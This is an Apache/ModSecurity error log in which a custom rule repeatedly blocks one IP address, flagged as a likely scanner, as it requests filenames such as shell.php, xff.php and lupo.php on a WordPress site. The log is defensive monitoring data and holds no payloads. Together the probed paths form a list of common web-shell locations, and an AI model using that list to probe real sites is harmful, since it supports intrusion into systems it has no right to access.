[Thu Apr 23 23:40:32.279122 2026] [:error] [pid 59700:tid 59709] [client 74.234.74.247:9439] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeo9cJXyGZJFeAIDWtlGEwAAAUc"]
[Thu Apr 23 23:40:32.853686 2026] [:error] [pid 59700:tid 59708] [client 74.234.74.247:9440] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeo9cJXyGZJFeAIDWtlGFgAAAUY"]
[Thu Apr 23 23:40:40.404911 2026] [:error] [pid 46953:tid 46976] [client 74.234.74.247:4061] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeo9eEnlpdHh-P6wKbpTAAAAAlQ"]
[Thu Apr 23 23:40:40.998032 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:9400] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeo9eL6vRb9j6psK2ZbiGwAAAgM"]
[Thu Apr 23 23:40:41.603482 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:9464] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeo9eYV5EysYcTLjmwi__AAAAdY"]
[Thu Apr 23 23:40:42.170245 2026] [:error] [pid 64967:tid 64971] [client 74.234.74.247:9364] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo9eoAV4GfOOdX8QzqE_QAAAYI"]
[Thu Apr 23 23:40:49.718076 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:4002] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo9gb6vRb9j6psK2ZbiJgAAAgs"]
[Thu Apr 23 23:40:50.247794 2026] [:error] [pid 46953:tid 46971] [client 74.234.74.247:9466] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo9gknlpdHh-P6wKbpTAwAAAk8"]
[Thu Apr 23 23:40:50.794988 2026] [:error] [pid 46953:tid 46959] [client 74.234.74.247:3989] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeo9gknlpdHh-P6wKbpTBgAAAkM"]
[Thu Apr 23 23:40:51.328236 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:9424] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo9g76vRb9j6psK2ZbiKQAAAgM"]
[Thu Apr 23 23:40:51.848796 2026] [:error] [pid 42973:tid 43066] [client 74.234.74.247:4038] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo9g26I0QqmmmLTHE1DjQAAAJc"]
[Thu Apr 23 23:40:53.443862 2026] [:error] [pid 42972:tid 43016] [client 74.234.74.247:4036] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo9hcOAb-3sOknsk4duwwAAAEA"]
[Thu Apr 23 23:40:54.009361 2026] [:error] [pid 42971:tid 42994] [client 74.234.74.247:4054] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeo9hjEP2_5RswrH8bE61AAAAAg"]
[Thu Apr 23 23:40:54.539441 2026] [:error] [pid 59700:tid 59726] [client 74.234.74.247:9386] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeo9hpXyGZJFeAIDWtlGJgAAAVg"]
[Thu Apr 23 23:40:55.093937 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:4037] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeo9h76vRb9j6psK2ZbiMAAAAhA"]
[Thu Apr 23 23:40:55.624247 2026] [:error] [pid 46953:tid 46979] [client 74.234.74.247:9411] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeo9h0nlpdHh-P6wKbpTCwAAAlY"]
[Thu Apr 23 23:40:56.178047 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:4091] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeo9iL6vRb9j6psK2ZbiMQAAAg0"]
[Thu Apr 23 23:40:56.735011 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:4066] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeo9iL6vRb9j6psK2ZbiNAAAAgI"]
[Thu Apr 23 23:40:57.304335 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:4000] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeo9ib6vRb9j6psK2ZbiOQAAAgk"]
[Thu Apr 23 23:40:57.875372 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:3968] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeo9ib6vRb9j6psK2ZbiPAAAAhM"]
[Thu Apr 23 23:40:58.434646 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:4042] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeo9ir6vRb9j6psK2ZbiQQAAAgg"]
[Thu Apr 23 23:40:58.985923 2026] [:error] [pid 42973:tid 43062] [client 74.234.74.247:9389] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeo9im6I0QqmmmLTHE1DlAAAAJM"]
[Thu Apr 23 23:40:59.651393 2026] [:error] [pid 59700:tid 59712] [client 74.234.74.247:4076] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeo9i5XyGZJFeAIDWtlGKgAAAUo"]
[Thu Apr 23 23:41:00.202318 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:4062] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeo9jMOAb-3sOknsk4duygAAAFQ"]
[Thu Apr 23 23:41:00.774179 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:9396] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeo9jMOAb-3sOknsk4duywAAAEc"]
[Thu Apr 23 23:41:01.339946 2026] [:error] [pid 43083:tid 43102] [client 74.234.74.247:4050] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeo9jTC5hrvNXosL83KNJQAAANE"]
[Thu Apr 23 23:41:01.868730 2026] [:error] [pid 43083:tid 43086] [client 74.234.74.247:9418] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeo9jTC5hrvNXosL83KNJgAAAME"]
[Thu Apr 23 23:41:02.387538 2026] [:error] [pid 42973:tid 43060] [client 74.234.74.247:4021] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeo9jm6I0QqmmmLTHE1DlwAAAJE"]
[Thu Apr 23 23:41:02.935054 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:4056] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeo9jr6vRb9j6psK2ZbiSgAAAhM"]
[Thu Apr 23 23:41:03.502280 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:9428] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeo9j76vRb9j6psK2ZbiTgAAAgg"]
[Thu Apr 23 23:41:04.112307 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:9387] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeo9kL6vRb9j6psK2ZbiUgAAAg4"]
[Thu Apr 23 23:41:04.676873 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:9362] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeo9kMOAb-3sOknsk4duzgAAAEY"]
[Thu Apr 23 23:41:05.225074 2026] [:error] [pid 59700:tid 59708] [client 74.234.74.247:4057] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeo9kZXyGZJFeAIDWtlGLQAAAUY"]
[Thu Apr 23 23:41:05.793796 2026] [:error] [pid 64967:tid 64976] [client 74.234.74.247:9394] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeo9kYAV4GfOOdX8QzqFBQAAAYc"]
[Thu Apr 23 23:41:06.332152 2026] [:error] [pid 59700:tid 59718] [client 74.234.74.247:4012] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeo9kpXyGZJFeAIDWtlGLgAAAVA"]
[Thu Apr 23 23:41:06.903359 2026] [:error] [pid 42971:tid 43003] [client 74.234.74.247:4068] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeo9kjEP2_5RswrH8bE63AAAABE"]
[Thu Apr 23 23:41:07.406865 2026] [:error] [pid 64967:tid 64972] [client 74.234.74.247:9352] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeo9k4AV4GfOOdX8QzqFCAAAAYM"]
[Thu Apr 23 23:41:07.974332 2026] [:error] [pid 25635:tid 25657] [client 74.234.74.247:4058] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeo9k8Rxv6UsgRGKB3JAKgAAARI"]
[Thu Apr 23 23:41:08.497475 2026] [:error] [pid 64967:tid 64993] [client 74.234.74.247:9456] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeo9lIAV4GfOOdX8QzqFCQAAAZg"]
[Thu Apr 23 23:41:09.028129 2026] [:error] [pid 25635:tid 25658] [client 74.234.74.247:3990] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeo9lcRxv6UsgRGKB3JALAAAARM"]
[Thu Apr 23 23:41:09.581934 2026] [:error] [pid 43083:tid 43103] [client 74.234.74.247:9402] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeo9lTC5hrvNXosL83KNLQAAANI"]
[Thu Apr 23 23:41:10.128067 2026] [:error] [pid 59700:tid 59720] [client 74.234.74.247:3924] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeo9lpXyGZJFeAIDWtlGMgAAAVI"]
[Thu Apr 23 23:41:10.683747 2026] [:error] [pid 46953:tid 46975] [client 74.234.74.247:3916] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeo9lknlpdHh-P6wKbpTFAAAAlM"]
[Thu Apr 23 23:41:11.312654 2026] [:error] [pid 59700:tid 59725] [client 74.234.74.247:4072] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeo9l5XyGZJFeAIDWtlGNwAAAVc"]
[Thu Apr 23 23:41:11.833321 2026] [:error] [pid 59700:tid 59707] [client 74.234.74.247:3980] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeo9l5XyGZJFeAIDWtlGOgAAAUU"]
[Thu Apr 23 23:41:19.395043 2026] [:error] [pid 42973:tid 43047] [client 74.234.74.247:9442] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeo9n26I0QqmmmLTHE1DpgAAAIQ"]
[Thu Apr 23 23:41:19.951714 2026] [:error] [pid 42972:tid 43031] [client 74.234.74.247:4074] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeo9n8OAb-3sOknsk4du1AAAAE8"]
[Thu Apr 23 23:41:20.491030 2026] [:error] [pid 59700:tid 59713] [client 74.234.74.247:4083] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeo9oJXyGZJFeAIDWtlGPgAAAUs"]
[Thu Apr 23 23:41:21.015101 2026] [:error] [pid 64998:tid 65010] [client 74.234.74.247:9399] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeo9oYV5EysYcTLjmwjAMQAAAcg"]
[Thu Apr 23 23:41:21.535093 2026] [:error] [pid 64967:tid 64983] [client 74.234.74.247:4060] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aeo9oYAV4GfOOdX8QzqFHgAAAY4"]
[Thu Apr 23 23:41:22.070777 2026] [:error] [pid 42971:tid 42995] [client 74.234.74.247:4086] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aeo9ojEP2_5RswrH8bE64wAAAAk"]
[Thu Apr 23 23:41:22.643284 2026] [:error] [pid 43083:tid 43093] [client 74.234.74.247:4052] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aeo9ojC5hrvNXosL83KNNQAAAMg"]
[Thu Apr 23 23:41:23.164778 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:3972] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/max.php"] [unique_id "aeo9o8OAb-3sOknsk4du2AAAAFM"]
[Thu Apr 23 23:41:23.754126 2026] [:error] [pid 42973:tid 43049] [client 74.234.74.247:4017] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeo9o26I0QqmmmLTHE1DrgAAAIY"]
[Thu Apr 23 23:41:24.296080 2026] [:error] [pid 42972:tid 43034] [client 74.234.74.247:9464] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeo9pMOAb-3sOknsk4du3gAAAFI"]
